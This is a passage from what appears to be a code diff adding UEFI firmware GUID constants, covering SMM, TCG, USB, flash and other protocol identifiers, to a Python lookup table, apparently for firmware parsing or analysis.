0x94, 0x7e, 0xb9, 0xb3, 0x9f, 0x4a, 0xfa, 0xf7], + 'EFI_SMBIOS_PROTOCOL_GUID': [0x5e90a50d, 0x6955, 0x4a49, 0x90, 0x32, 0xda, 0x38, 0x12, 0xf8, 0xe8, 0xe5], + 'EFI_SMBIOS_STATIC_DATA_GUID': [0xdaf4bf89, 0xce71, 0x4917, 0xb5, 0x22, 0xc8, 0x9d, 0x32, 0xfb, 0xc5, 0x9f], + 'EFI_SMBIOS_TABLE_GUID': [0xeb9d2d31, 0x2d88, 0x11d3, 0x9a, 0x16, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_SMBUS_ARP_MAP_GUID': [0x707be83e, 0x0bf6, 0x40a5, 0xbe, 0x64, 0x34, 0xc0, 0x3a, 0xa0, 0xb8, 0xe2], + 'EFI_SMBUS_HC_PROTOCOL_GUID': [0xe49d33ed, 0x513d, 0x4634, 0xb6, 0x98, 0x6f, 0x55, 0xaa, 0x75, 0x1c, 0x1b], + 'EFI_SMM_ACCESS_PROTOCOL_GUID': [0x3792095a, 0xe309, 0x4c1e, 0xaa, 0x01, 0x85, 0xf5, 0x65, 0x5a, 0x17, 0xf1], + 'EFI_SMM_BASE_PROTOCOL_GUID': [0x1390954D, 0xda95, 0x4227, 0x93, 0x28, 0x72, 0x82, 0xc2, 0x17, 0xda, 0xa8], + 'EFI_SMM_BIOS_WRITE_DISPATCH_PROTOCOL_GUID': [0xe512dfe4, 0xbf44, 0x480d, 0x9b, 0x7a, 0x77, 0x7b, 0xb, 0xe3, 0x27, 0x75], + 'EFI_SMM_CMOS_ACCESS_GUID': [0xe5d3026a, 0x1ca5, 0x40f0, 0x8f, 0xb6, 0x4b, 0x1a, 0xfa, 0x3c, 0x6e, 0xaa], + 'EFI_SMM_COMMUNICATION_PROTOCOL_GUID': [0xc68ed8e2, 0x9dc6, 0x4cbd, 0x9d, 0x94, 0xdb, 0x65, 0xac, 0xc5, 0xc3, 0x32], + 'EFI_SMM_CONTROL_PROTOCOL_GUID': [0x8d12e231, 0xc667, 0x4fd1, 0x98, 0xf2, 0x24, 0x49, 0xa7, 0xe7, 0xb2, 0xe5], + 'EFI_SMM_CPU_IO2_PROTOCOL_GUID': [0x3242A9D8, 0xCE70, 0x4AA0, 0x95, 0x5D, 0x5E, 0x7B, 0x14, 0x0D, 0xE4, 0xD2], + 'EFI_SMM_CPU_IO_GUID': [0x5f439a0b, 0x45d8, 0x4682, 0xa4, 0xf4, 0xf0, 0x57, 0x6b, 0x51, 0x34, 0x41], + 'EFI_SMM_CPU_PROTOCOL_GUID': [0xeb346b97, 0x975f, 0x4a9f, 0x8b, 0x22, 0xf8, 0xe9, 0x2b, 0xb3, 0xd5, 0x69], + 'EFI_SMM_CPU_SAVE_STATE_PROTOCOL_GUID': [0x21f302ad, 0x6e94, 0x471b, 0x84, 0xbc, 0xb1, 0x48, 0x0, 0x40, 0x3a, 0x1d], + 'EFI_SMM_GPI_DISPATCH2_PROTOCOL_GUID': [0x25566b03, 0xb577, 0x4cbf, 0x95, 0x8c, 0xed, 0x66, 0x3e, 0xa2, 0x43, 0x80], + 'EFI_SMM_GPI_DISPATCH_PROTOCOL_GUID': [0xe0744b81, 0x9513, 0x49cd, 0x8c, 0xea, 0xe9, 0x24, 0x5e, 0x70, 0x39, 0xda], + 'EFI_SMM_ICHN_DISPATCH_EX_PROTOCOL_GUID': [0x3920405b, 0xc897, 0x44da, 0x88, 0xf3, 0x4c, 0x49, 0x8a, 0x6f, 0xf7, 0x36], + 'EFI_SMM_ICHN_DISPATCH_PROTOCOL_GUID': [0xc50b323e, 0x9075, 0x4f2a, 0xac, 0x8e, 0xd2, 0x59, 0x6a, 0x10, 0x85, 0xcc], + 'EFI_SMM_IO_TRAP_DISPATCH2_PROTOCOL_GUID': [0x58dc368d, 0x7bfa, 0x4e77, 0xab, 0xbc, 0x0e, 0x29, 0x41, 0x8d, 0xf9, 0x30], + 'EFI_SMM_IO_TRAP_DISPATCH2_PROTOCOL_GUID': [0x58dc368d, 0x7bfa, 0x4e77, 0xab, 0xbc, 0xe, 0x29, 0x41, 0x8d, 0xf9, 0x30], + 'EFI_SMM_IO_TRAP_DISPATCH2_PROTOCOL_GUID': [0xf1507845, 0x6494, 0x4377, 0xa1, 0x15, 0x45, 0xdf, 0xe6, 0x5f, 0x5d, 0x71], + 'EFI_SMM_IO_TRAP_DISPATCH_PROTOCOL_GUID': [0x58dc368d, 0x7bfa, 0x4e77, 0xab, 0xbc, 0xe, 0x29, 0x41, 0x8d, 0xf9, 0x30], + 'EFI_SMM_IO_TRAP_DISPATCH_PROTOCOL_GUID': [0xbd18369d, 0xc242, 0x45ca, 0x82, 0xad, 0x13, 0x8a, 0xc2, 0xe2, 0x9b, 0xab], + 'EFI_SMM_IO_TRAP_DISPATCH_PROTOCOL_GUID': [0xdb7f536b, 0xede4, 0x4714, 0xa5, 0xc8, 0xe3, 0x46, 0xeb, 0xaa, 0x20, 0x1d], + 'EFI_SMM_PCI_ROOT_BRIDGE_IO_PROTOCOL_GUID': [0x8bc1714d, 0xffcb, 0x41c3, 0x89, 0xdc, 0x6c, 0x74, 0xd0, 0x6d, 0x98, 0xea], + 'EFI_SMM_PERIODIC_TIMER_DISPATCH2_PROTOCOL_GUID': [0x4cec368e, 0x8e8e, 0x4d71, 0x8b, 0xe1, 0x95, 0x8c, 0x45, 0xfc, 0x8a, 0x53], + 'EFI_SMM_PERIODIC_TIMER_DISPATCH_PROTOCOL_GUID': [0x9cca03fc, 0x4c9e, 0x4a19, 0x9b, 0x6, 0xed, 0x7b, 0x47, 0x9b, 0xde, 0x55], + 'EFI_SMM_POWER_BUTTON_DISPATCH2_PROTOCOL_GUID': [0x1b1183fa, 0x1823, 0x46a7, 0x88, 0x72, 0x9c, 0x57, 0x87, 0x55, 0x40, 0x9d], + 'EFI_SMM_POWER_BUTTON_DISPATCH_PROTOCOL_GUID': [0xb709efa0, 0x47a6, 0x4b41, 0xb9, 0x31, 0x12, 0xec, 0xe7, 0xa8, 0xee, 0x56], + 'EFI_SMM_RC_TO_APTIO_BRIDGE_GUID': [0xfcdf7788, 0x7878, 0x11ff, 0xcc, 0x77, 0x88, 0xcc, 0xcc, 0x77, 0x88, 0xcc], + 'EFI_SMM_READY_TO_LOCK_PROTOCOL_GUID': [0x47b7fa8c, 0xf4bd, 0x4af6, 0x82, 0x00, 0x33, 0x30, 0x86, 0xf0, 0xd2, 0xc8], + 'EFI_SMM_RSC_HANDLER_PROTOCOL_GUID': [0x2ff29fa7, 0x5e80, 0x4ed9, 0xb3, 0x80, 0x1, 0x7d, 0x3c, 0x55, 0x4f, 0xf4], + 'EFI_SMM_RUNTIME_PROTOCOL_GUID': [0xa56897a1, 0xa77f, 0x4600, 0x84, 0xdb, 0x22, 0xb0, 0xa8, 0x1, 0xfa, 0x9a], + 'EFI_SMM_RUNTIME_SERVICES_TABLE_GUID': [0x395c33fe, 0x287f, 0x413e, 0xa0, 0x55, 0x80, 0x88, 0xc0, 0xe1, 0xd4, 0x3e], + 'EFI_SMM_SMBUS_PROTOCOL_GUID': [0x72e40094, 0x2ee1, 0x497a, 0x8f, 0x33, 0x4c, 0x93, 0x4a, 0x9e, 0x9c, 0xc], + 'EFI_SMM_SPI_PROTOCOL_GUID': [0xD9072C35, 0xEB8F, 0x43ad, 0xA2, 0x20, 0x34, 0xD4, 0x0E, 0x2A, 0x82, 0x85], + 'EFI_SMM_SPI_PROTOCOL_GUID': [0xaff3be49, 0x6d71, 0x421c, 0x92, 0x77, 0xa0, 0xb1, 0x50, 0x8e, 0x84, 0x7d], + 'EFI_SMM_STANDBY_BUTTON_DISPATCH2_PROTOCOL_GUID': [0x7300c4a1, 0x43f2, 0x4017, 0xa5, 0x1b, 0xc8, 0x1a, 0x7f, 0x40, 0x58, 0x5b], + 'EFI_SMM_STANDBY_BUTTON_DISPATCH_PROTOCOL_GUID': [0x78965b98, 0xb0bf, 0x449e, 0x8b, 0x22, 0xd2, 0x91, 0x4e, 0x49, 0x8a, 0x98], + 'EFI_SMM_STATUS_CODE_PROTOCOL_GUID': [0x6afd2b77, 0x98c1, 0x4acd, 0xa6, 0xf9, 0x8a, 0x94, 0x39, 0xde, 0xf, 0xb1], + 'EFI_SMM_SW_DISPATCH2_PROTOCOL_GUID': [0x18a3c6dc, 0x5eea, 0x48c8, 0xa1, 0xc1, 0xb5, 0x33, 0x89, 0xf9, 0x89, 0x99], + 'EFI_SMM_SW_DISPATCH_PROTOCOL_GUID': [0xe541b773, 0xdd11, 0x420c, 0xb0, 0x26, 0xdf, 0x99, 0x36, 0x53, 0xf8, 0xbf], + 'EFI_SMM_SX_DISPATCH2_PROTOCOL_GUID': [0x456d2859, 0xa84b, 0x4e47, 0xa2, 0xee, 0x32, 0x76, 0xd8, 0x86, 0x99, 0x7d], + 'EFI_SMM_TCO_DISPATCH_PROTOCOL_GUID': [0xe2d6bb1, 0xc624, 0x446d, 0x99, 0x82, 0x69, 0x3c, 0xd1, 0x81, 0xa6, 0x7], + 'EFI_SMM_THUNK_PROTOCOL_GUID': [0x2a82fce6, 0x8bb6, 0x413e, 0xb9, 0xeb, 0x45, 0xdf, 0xc0, 0x52, 0x2d, 0xf3], + 'EFI_SMM_USB_DISPATCH2_PROTOCOL_GUID': [0xee9b8d90, 0xc5a6, 0x40a2, 0xbd, 0xe2, 0x52, 0x55, 0x8d, 0x33, 0xcc, 0xa1], + 'EFI_SMM_USB_DISPATCH_PROTOCOL_GUID': [0xa05b6ffd, 0x87af, 0x4e42, 0x95, 0xc9, 0x62, 0x28, 0xb6, 0x3c, 0xf3, 0xf3], + 'EFI_SMM_VARIABLE_PROTOCOL_GUID': [0x3025da01, 0xdc5f, 0x4f59, 0xbc, 0xc3, 0xb3, 0x77, 0xc8, 0x32, 0x5a, 0x4a], + 'EFI_SMRAM_NVS_HEADER_GUID': [0xec7f4fa1, 0xb217, 0x42fc, 0xa7, 0xf7, 0x2, 0xc, 0x43, 0x5, 0xd5, 0xba], + 'EFI_SMTP_PROTOCOL_GUID': [0x5f67d40c, 0x1d06, 0x4e3e, 0x8b, 0x4a, 0xd2, 0x71, 0x3f, 0x46, 0xe1, 0xdc], + 'EFI_SPEAKER_INTERFACE_PROTOCOL_GUID': [0x400b4476, 0x3081, 0x11d6, 0x87, 0xed, 0x00, 0x06, 0x29, 0x45, 0xc3, 0xb9], + 'EFI_SPI_PROTOCOL_GUID': [0x1156efc6, 0xea32, 0x4396, 0xb5, 0xd5, 0x26, 0x93, 0x2e, 0x83, 0xc3, 0x13], + 'EFI_SPI_PROTOCOL_GUID': [0x1a660d9, 0x8009, 0x4330, 0xba, 0x89, 0x71, 0xb0, 0x76, 0xcd, 0x5d, 0xa], + 'EFI_STANDARD_CALLER_ID_GUID': [0xC9DCF469, 0xA7C4, 0x11D5, 0x87, 0xDA, 0x00, 0x06, 0x29, 0x45, 0xC3, 0xB9], + 'EFI_STANDARD_ERROR_DEVICE_GUID': [0xd3b36f2d, 0xd551, 0x11d4, 0x9a, 0x46, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_STATUS_CODE_ARCH_PROTOCOL_GUID': [0xd98e3ea3, 0x6f39, 0x4be4, 0x82, 0xce, 0x5a, 0x89, 0x0c, 0xcb, 0x2c, 0x95], + 'EFI_STATUS_CODE_DATA_TYPE_ASSERT_GUID': [0xDA571595, 0x4D99, 0x487C, 0x82, 0x7C, 0x26, 0x22, 0x67, 0x7D, 0x33, 0x07], + 'EFI_STATUS_CODE_DATA_TYPE_DEBUG_GUID': [0x9A4E9246, 0xD553, 0x11D5, 0x87, 0xE2, 0x00, 0x06, 0x29, 0x45, 0xC3, 0xb9], + 'EFI_STATUS_CODE_DATA_TYPE_ERROR_GUID': [0xAB359CE3, 0x99B3, 0xAE18, 0xC8, 0x9D, 0x95, 0xD3, 0xB0, 0x72, 0xE1, 0x9B], + 'EFI_STATUS_CODE_DATA_TYPE_EXCEPTION_HANDLER_GUID': [0x3BC2BD12, 0xAD2E, 0x11D5, 0x87, 0xDD, 0x00, 0x06, 0x29, 0x45, 0xC3, 0xB9], + 'EFI_STATUS_CODE_DATA_TYPE_PROGRESS_CODE_GUID': [0xA356AB39, 0x35C4, 0x35DA, 0xB3, 0x7A, 0xF8, 0xEA, 0x9E, 0x8B, 0x36, 0xA3], + 'EFI_STATUS_CODE_DATA_TYPE_STRING_GUID': [0x92D11080, 0x496F, 0x4D95, 0xBE, 0x7E, 0x03, 0x74, 0x88, 0x38, 0x2B, 0x0A], + 'EFI_STATUS_CODE_GUID': [0xd083e94c, 0x6560, 0x42e4, 0xb6, 0xd4, 0x2d, 0xf7, 0x5a, 0xdf, 0x6a, 0x2a], + 'EFI_STATUS_CODE_SPECIFIC_DATA_GUID': [0x335984bd, 0xe805, 0x409a, 0xb8, 0xf8, 0xd2, 0x7e, 0xce, 0x5f, 0xf7, 0xa6], + 'EFI_STORAGE_SECURITY_COMMAND_PROTOCOL_GUID': [0xc88b0b6d, 0x0dfc, 0x49a7, 0x9c, 0xb4, 0x49, 0x7, 0x4b, 0x4c, 0x3a, 0x78], + 'EFI_SWAP_ADDRESS_RANGE_PROTOCOL_GUID': [0x1259f60d, 0xb754, 0x468e, 0xa7, 0x89, 0x4d, 0xb8, 0x5d, 0x55, 0xe8, 0x7e], + 'EFI_SYSTEM_NV_DATA_FV_GUID': [0xfff12b8d, 0x7696, 0x4c8b, 0xa9, 0x85, 0x27, 0x47, 0x7, 0x5b, 0x4f, 0x50], + 'EFI_SYSTEM_NV_DATA_HOB_GUID': [0xd6e5092d, 0xc7b2, 0x4872, 0xaf, 0x66, 0xfd, 0xc0, 0xe6, 0xf9, 0x5e, 0x78], + 'EFI_SYSTEM_TYPE_FRU_GUID': [0xaab16018, 0x679d, 0x4461, 0xba, 0x20, 0xe7, 0xc, 0xf7, 0x86, 0x6a, 0x9b], + 'EFI_TAPE_IO_PROTOCOL_GUID': [0x1e93e633, 0xd65a, 0x459e, 0xab, 0x84, 0x93, 0xd9, 0xec, 0x26, 0x6d, 0x18], + 'EFI_TCG_LOG_HOB_GUID': [0x5f7d4e0e, 0x3d6d, 0x42bc, 0xa9, 0x42, 0xe, 0x91, 0xe8, 0x3e, 0x3c, 0x31], + 'EFI_TCG_PEI_READ_ONLY_VARIABLE_PPI_GUID': [0x3cdc90c6, 0x13fb, 0x4a75, 0x9e, 0x79, 0x59, 0xe9, 0xdd, 0x78, 0xb9, 0xfa], + 'EFI_TCG_PLATFORM_PROTOCOL_GUID': [0x8c4c9a41, 0xbf56, 0x4627, 0x9e, 0xa, 0xc8, 0x38, 0x6d, 0x66, 0x11, 0x5c], + 'EFI_TCG_PRIVATE_INTERFACE_GUID': [0x8c4c9a41, 0xbf56, 0x4627, 0x9e, 0xa, 0xc8, 0x38, 0x6d, 0x66, 0x11, 0x5c], + 'EFI_TCG_PROTOCOL_GUID': [0xf541796d, 0xa62e, 0x4954, 0xa7, 0x75, 0x95, 0x84, 0xf6, 0x1b, 0x9c, 0xdd], + 'EFI_TCG_WAKE_EVENT_DATA_HOB_GUID': [0xBBB810BB, 0x5EF0, 0x4E8F, 0xB2, 0x98, 0xAD, 0x74, 0xAA, 0x50, 0xEF, 0x0A], + 'EFI_TCP4_PROTOCOL_GUID': [0x65530BC7, 0xA359, 0x410f, 0xB0, 0x10, 0x5A, 0xAD, 0xC7, 0xEC, 0x2B, 0x62], + 'EFI_TCP4_SERVICE_BINDING_PROTOCOL_GUID': [0x00720665, 0x67EB, 0x4a99, 0xBA, 0xF7, 0xD3, 0xC3, 0x3A, 0x1C, 0x7C, 0xC9], + 'EFI_TCP_PROTOCOL_GUID': [0x02b3d5f2, 0xac28, 0x11d3, 0x9a, 0x2d, 0x00, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_TCP_SOCK_PROTOCOL_GUID': [0x5187359b, 0x790d, 0x425b, 0xa5, 0x93, 0xca, 0x1c, 0xdb, 0x3c, 0xeb, 0xad], + 'EFI_TDT_PROTOCOL_GUID': [0xbf70067, 0xd53b, 0x42df, 0xb7, 0x70, 0xe9, 0x2c, 0x91, 0xc6, 0x14, 0x11], + 'EFI_TELNET_SERVER_PROTOCOL_GUID': [0x6d3569d4, 0x85e5, 0x4943, 0xae, 0x46, 0xee, 0x67, 0xa6, 0xe1, 0xab, 0x5a], + 'EFI_TIANO_DECOMPRESS_PROTOCOL_GUID': [0xe84cf29c, 0x191f, 0x4eae, 0x96, 0xe1, 0xf4, 0x6a, 0xec, 0xea, 0xea, 0x0b], + 'EFI_TIMER_ARCH_PROTOCOL_GUID': [0x26baccb3, 0x6f42, 0x11d4, 0xbc, 0xe7, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81], + 'EFI_TIMER_ARCH_PROTOCOL_GUID': [0x26baccb3, 0x6f42, 0x11d4, 0xbc, 0xe7, 0x00, 0x80, 0xc7, 0x3c, 0x88, 0x81], + 'EFI_TIME_VARIABLE_GUID': [0x9d0da369, 0x540b, 0x46f8, 0x85, 0xa0, 0x2b, 0x5f, 0x2c, 0x30, 0x1e, 0x15], + 'EFI_TPM_DEVICE_PROTOCOL_GUID': [0xde161cfe, 0x1e60, 0x42a1, 0x8c, 0xc3, 0xee, 0x7e, 0xf0, 0x73, 0x52, 0x12], + 'EFI_TPM_STATE_INIT_HUB_GUID': [0xA0C6D918, 0x8DEE, 0x41BB, 0x9D, 0x92, 0x67, 0x53, 0xA5, 0x72, 0xB6, 0x52], + 'EFI_TXT_INFO_PROTOCOL_GUID': [0x601211DC, 0x0B12, 0x4C09, 0xAE, 0x27, 0xAB, 0xE, 0xC9, 0x69, 0x24, 0x68], + 'EFI_UDP4_PROTOCOL_GUID': [0x3ad9df29, 0x4501, 0x478d, 0xb1, 0xf8, 0x7f, 0x7f, 0xe7, 0x0e, 0x50, 0xf3], + 'EFI_UDP4_SERVICE_BINDING_PROTOCOL_GUID': [0x83f01464, 0x99bd, 0x45e5, 0xb3, 0x83, 0xaf, 0x63, 0x05, 0xd8, 0xe9, 0xe6], + 'EFI_UDP_PROTOCOL_GUID': [0xc56fb1b2, 0x017b, 0x4984, 0xa3, 0xf6, 0x3f, 0x73, 0x4f, 0xfa, 0x9e, 0x33], + 'EFI_UGA_DRAW_PROTOCOL_GUID': [0x982c298b, 0xf4fa, 0x41cb, 0xb8, 0x38, 0x77, 0xaa, 0x68, 0x8f, 0xb8, 0x39], + 'EFI_UGA_IO_PROTOCOL_GUID': [0x61a4d49e, 0x6f68, 0x4f1b, 0xb9, 0x22, 0xa8, 0x6e, 0xed, 0xb, 0x7, 0xa2], + 'EFI_UGA_SPLASH_PROTOCOL_GUID': [0xa45b3a0d, 0x2e55, 0x4c03, 0xad, 0x9c, 0x27, 0xd4, 0x82, 0xb, 0x50, 0x7e], + 'EFI_UNICODE_COLLATION2_PROTOCOL_GUID': [0xa4c751fc, 0x23ae, 0x4c3e, 0x92, 0xe9, 0x49, 0x64, 0xcf, 0x63, 0xf3, 0x49], + 'EFI_UNICODE_COLLATION_PROTOCOL2_GUID': [0xa4c751fc, 0x23ae, 0x4c3e, 0x92, 0xe9, 0x49, 0x64, 0xcf, 0x63, 0xf3, 0x49], + 'EFI_UNICODE_COLLATION_PROTOCOL_GUID': [0x1d85cd7f, 0xf43d, 0x11d2, 0x9a, 0x0c, 0x00, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_UNICODE_COLLATION_PROTOCOL_GUID': [0x1d85cd7f, 0xf43d, 0x11d2, 0x9a, 0xc, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_USB2_HC_PROTOCOL_GUID': [0x3e745226, 0x9818, 0x45b6, 0xa2, 0xac, 0xd7, 0xcd, 0xe, 0x8b, 0xa2, 0xbc], + 'EFI_USB_ATAPI_PROTOCOL_GUID': [0x2B2F68DA, 0x0CD2, 0x44cf, 0x8E, 0x8B, 0xBB, 0xA2, 0x0B, 0x1B, 0x5B, 0x75], + 'EFI_USB_HC_PROTOCOL_GUID': [0xf5089266, 0x1aa0, 0x4953, 0x97, 0xd8, 0x56, 0x2f, 0x8a, 0x73, 0xb5, 0x19], + 'EFI_USB_IO_PROTOCOL_GUID': [0x2B2F68D6, 0x0CD2, 0x44cf, 0x8E, 0x8B, 0xBB, 0xA2, 0x0B, 0x1B, 0x5B, 0x75], + 'EFI_USB_POLICY_PROTOCOL_GUID': [0x5859cb76, 0x6bef, 0x468a, 0xbe, 0x2d, 0xb3, 0xdd, 0x1a, 0x27, 0xf0, 0x12], + 'EFI_USB_PROTOCOL_GUID': [0x2ad8e2d2, 0x2e91, 0x4cd1, 0x95, 0xf5, 0xe7, 0x8f, 0xe5, 0xeb, 0xe3, 0x16], + 'EFI_USER_CREDENTIAL_PROTOCOL_GUID': [0x71ee5e94, 0x65b9, 0x45d5, 0x82, 0x1a, 0x3a, 0x4d, 0x86, 0xcf, 0xe6, 0xbe], + 'EFI_USER_INFO_ACCESS_SETUP_ADMIN_GUID': [0x85b75607, 0xf7ce, 0x471e, 0xb7, 0xe4, 0x2a, 0xea, 0x5f, 0x72, 0x32, 0xee], + 'EFI_USER_INFO_ACCESS_SETUP_NORMAL_GUID': [0x1db29ae0, 0x9dcb, 0x43bc, 0x8d, 0x87, 0x5d, 0xa1, 0x49, 0x64, 0xdd, 0xe2], + 'EFI_USER_INFO_ACCESS_SETUP_RESTRICTED_GUID': [0xbdb38125, 0x4d63, 0x49f4, 0x82, 0x12, 0x61, 0xcf, 0x5a, 0x19, 0x0a, 0xf8], + 'EFI_USER_MANAGER_PROTOCOL_GUID': [0x6fd5b00c, 0xd426, 0x4283, 0x98, 0x87, 0x6c, 0xf5, 0xcf, 0x1c, 0xb1, 0xfe], + 'EFI_VARIABLE_ARCH_PROTOCOL_GUID': [0x1e5668e2, 0x8481, 0x11d4, 0xbc, 0xf1, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81], + 'EFI_VARIABLE_STORE_PROTOCOL_GUID': [0xf088cd91, 0xa046, 0x11d2, 0x8e, 0x42, 0x0, 0xa0, 0xc9, 0x69, 0x72, 0x3b], + 'EFI_VARIABLE_WRITE_ARCH_PROTOCOL_GUID': [0x6441f818, 0x6362, 0x4e44, 0xb5, 0x70, 0x7d, 0xba, 0x31, 0xdd, 0x24, 0x53], + 'EFI_VGA_MINI_PORT_PROTOCOL_GUID': [0xc7735a2f, 0x88f5, 0x4882, 0xae, 0x63, 0xfa, 0xac, 0x8c, 0x8b, 0x86, 0xb3], + 'EFI_VIRTUAL_MEMORY_ACCESS_PROTOCOL_GUID': [0x745d377a, 0xb988, 0x47b2, 0xb1, 0x8f, 0xbb, 0xc8, 0xd, 0xc5, 0x66, 0x98], + 'EFI_VT_100_GUID': [0xdfa66065, 0xb419, 0x11d3, 0x9a, 0x2d, 0x00, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_VT_100_PLUS_GUID': [0x7baec70b, 0x57e0, 0x4c76, 0x8e, 0x87, 0x2f, 0x9e, 0x28, 0x08, 0x83, 0x43], + 'EFI_VT_UTF8_GUID': [0xad15a0d6, 0x8bec, 0x4acf, 0xa0, 0x73, 0xd0, 0x1d, 0xe7, 0x7e, 0x2d, 0x88], + 'EFI_WATCHDOG_TIMER_ARCH_PROTOCOL_GUID': [0x665E3FF5, 0x46CC, 0x11D4, 0x9A, 0x38, 0x00, 0x90, 0x27, 0x3F, 0xC1, 0x4D], + 'EFI_WATCHDOG_TIMER_ARCH_PROTOCOL_GUID': [0x665E3FF5, 0x46CC, 0x11d4, 0x9A, 0x38, 0x00, 0x90, 0x27, 0x3F, 0xC1, 0x4D], + 'EFI_WIN_NT_BUS_DRIVER_IO_PROTOCOL_GUID': [0x96eb4ad6, 0xa32a, 0x11d4, 0xbc, 0xfd, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81], + 'EFI_WIN_NT_SERIAL_PORT_GUID': [0xc95a93d, 0xa006, 0x11d4, 0xbc, 0xfa, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81], + 'EFI_WIN_NT_THUNK_PROTOCOL_GUID': [0x58c518b1, 0x76f3, 0x11d4, 0xbc, 0xea, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81], + 'ERROR_MANAGER_GUID': [0xADDEBF82, 0xA560, 0x46B9, 0xA2, 0x80, 0x78, 0xC6, 0xAB, 0x61, 0xAE, 0xDA], + 'EXIT_FORM_SET_GUID': [0xa43b03dc, 0xc18a, 0x41b1, 0x91, 0xc8, 0x3f, 0xf9, 0xaa, 0xa2, 0x57, 0x13], + 'EXIT_PAGE_GUID': [0xEC87D643, 0xEBA4, 0x4BB5, 0xA1, 0xE5, 0x3F, 0x3E, 0x36, 0xB2, 0x0D, 0xA9], + 'FAST_BOOT_TSE_PROTOCOL_GUID': [0x0fba43b8, 0xacdb, 0x4ee2, 0xab, 0x31, 0x0f, 0xa4, 0xd5, 0xb6, 0xc3, 0xc5], + 'FAST_BOOT_VARIABLE_GUID': [0xb540a530, 0x6978, 0x4da7, 0x91, 0xcb, 0x72, 0x7, 0xd7, 0x64, 0xd2, 0x62], + 'FID_FFS_SECTION_GUID': [0x2EBE0275, 0x6458, 0x4AF9, 0x91, 0xed, 0xD3, 0xF4, 0xED, 0xB1, 0x00, 0xAA], + 'FID_TABLE_GUID': [0x3fd1d3a2, 0x99f7, 0x420b, 0xbc, 0x69, 0x8b, 0xb1, 0xd4, 0x92, 0xa3, 0x32], + 'FID_TABLE_SECTION_GUID': [0x2ebe0275, 0x6458, 0x4af9, 0x91, 0xed, 0xd3, 0xf4, 0xed, 0xb1, 0x00, 0xaa], + 'FIRMWARE_PERFORMANCE_PROTOCOL_GUID': [0xbc412d75, 0x2729, 0x4c3a, 0xb1, 0x93, 0x5b, 0x9a, 0x58, 0x8f, 0xf6, 0x6f], + 'FLASH_PROTOCOL_GUID': [0x755b6596, 0x6896, 0x4ba3, 0xb3, 0xdd, 0x1c, 0x62, 0x9f, 0xd1, 0xea, 0x88], + 'FLASH_SMM_PROTOCOL_GUID': [0xecb867ab, 0x8df4, 0x492d, 0x81, 0x50, 0xa7, 0xfd, 0x1b, 0x9b, 0x5a, 0x75], + 'FLASH_UPDATE_GUID': [0x974231d5, 0xed4b, 0x44d1, 0x88, 0x70, 0xce, 0x51, 0x5c, 0xc1, 0x4d, 0x68], + 'FONT_FFS_FILE_GUID': [0xdac2b117, 0xb5fb, 0x4964, 0xa3, 0x12, 0xd, 0xcc, 0x77, 0x6, 0x1b, 0x9b], + 'FPDT_PERFORMANCE_PROTOCOL_GUID': [0x444c3203, 0xf8b1, 0x42a7, 0xab, 0xe9, 0x2e, 0x58, 0x2, 0x5b, 0xe1, 0x2a], + 'FRAMEWORK_EFI_FIRMWARE_VOLUME_BLOCK_PROTOCOL_GUID': [0xDE28BC59, 0x6228, 0x41BD, 0xBD, 0xF6, 0xA3, 0xB9, 0xAD, 0xB5, 0x8D, 0xA1], + 'FW_VERSION_GUID': [0xb5c59087, 0xfeac, 0x4b41, 0x9d, 0x80, 0x79, 0xb, 0xa5, 0xaa, 0x7, 0xf], + 'FW_VOLUME_BLOCK_PROTOCOL_GUID': [0xDE28BC59, 0x6228, 0x41BD, 0xBD, 0xF6, 0xA3, 0xB9, 0xAD, 0xB5, 0x8D, 0xA1], + 'HDD_SECURITY_END_PROTOCOL_GUID': [0xad77ae29, 0x4c20, 0x4fdd, 0x85, 0x04, 0x81, 0x76, 0x61, 0x9b, 0x67, 0x6a], + 'HDD_SECURITY_INIT_PROTOCOL_GUID': [0xce6f86bb, 0xb800, 0x4c71, 0xb2, 0xd1, 0x38, 0x97, 0xa3, 0xbc, 0x1d, 0xae], + 'HDD_SMART_INIT_PROTOCOL_GUID': [0x9401bd4f, 0x1a00, 0x4990, 0xab, 0x56, 0xda, 0xf0, 0xe4, 0xe3, 0x48, 0xde], + 'HDD_UNLOCKED_GUID': [0x1fd29be6, 0x70d0, 0x42a4, 0xa6, 0xe7, 0xe5, 0xd1, 0xe, 0x6a, 0xc3, 0x76], + 'HECI_PROTOCOL_GUID': [0xcfb33810, 0x6e87, 0x4284, 0xb2, 0x3, 0xa6, 0x6a, 0xbe, 0x7, 0xf6, 0xe8], + 'HII_RESOURCES_FFS_SECTION_GUID': [0x97e409e6, 0x4cc1, 0x11d9, 0x81, 0xf6, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0], + 'HOT_PLUG_DEVICE_GUID': [0x220ac432, 0x1d43, 0x49e5, 0xa7, 0x4f, 0x4c, 0x9d, 0xa6, 0x7a, 0xd2, 0x3b], + 'ICC_OVERCLOCKING_PROTOCOL_GUID': [0x8e8cbc58, 0x834c, 0x41e3, 0xb8, 0xca, 0xf0, 0x0c, 0xcf, 0x5a, 0x71, 0x7c], + 'ICC_PERSISTENT_DATA_GUID': [0x64192dca, 0xd034, 0x49d2, 0xa6, 0xde, 0x65, 0xa8, 0x29, 0xeb, 0x4c, 0x74], + 'ICC_VOLATILE_SETUP_DATA_GUID': [0x7b77fb8b, 0x1e0d, 0x4d7e, 0x95, 0x3f, 0x39, 0x80, 0xa2, 0x61, 0xe0, 0x77], + 'IDE_BUS_DRIVER_BINDING_PROTOCOL_GUID': [0x8AA67071, 0x8BEC, 0x47AB, 0x83, 0xC8, 0xCD, 0x0E, 0xB7, 0x23, 0xD0, 0x72], + 'IDE_BUS_INIT_PROTOCOL_GUID': [0xE159A956, 0x3299, 0x4EE9, 0x91, 0x76, 0x65, 0x18, 0x1A, 0x4E, 0x5E, 0x9F], + 'IDE_CONTROLLER_PROTOCOL_GUID': [0x20E28787, 0xDF32, 0x4BDA, 